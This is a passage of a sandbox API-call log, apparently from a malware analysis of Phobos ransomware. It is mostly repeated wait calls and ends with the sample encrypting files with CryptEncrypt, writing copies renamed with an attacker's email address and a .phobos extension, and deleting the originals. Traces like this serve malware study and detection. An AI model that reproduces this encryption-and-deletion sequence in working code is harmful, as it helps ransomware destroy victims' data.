(hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.475] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.476] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.477] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.478] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.479] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.481] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.482] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.484] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.485] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.486] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.487] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.487] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.487] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.487] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.487] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.622] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.623] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.624] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.625] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.626] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.627] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.628] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.629] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.630] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.630] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.630] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.630] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.809] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0046.809] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.826] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=144072) returned 1 [0046.826] CloseHandle (hObject=0x308) returned 1 [0046.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0046.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.827] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.827] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0046.827] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0046.827] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.841] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0xf9540) returned 1 [0046.841] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0046.841] ReadFile (in: hFile=0x308, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x232c8, lpOverlapped=0x0) returned 1 [0046.878] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x232d0, dwBufLen=0x232d0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x232d0) returned 1 [0046.878] WriteFile (in: hFile=0x314, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x232d0, lpOverlapped=0x0) returned 1 [0046.881] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0046.881] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0046.881] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0046.881] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0046.881] WriteFile (in: hFile=0x314, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0046.882] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.882] CloseHandle (hObject=0x308) returned 1 [0046.882] CloseHandle (hObject=0x314) returned 1 [0046.885] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0046.887] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0046.887] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.888] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=74) returned 1 [0046.888] CloseHandle (hObject=0x314) returned 1 [0046.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0046.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.888] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.888] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0046.888] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0046.888] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, 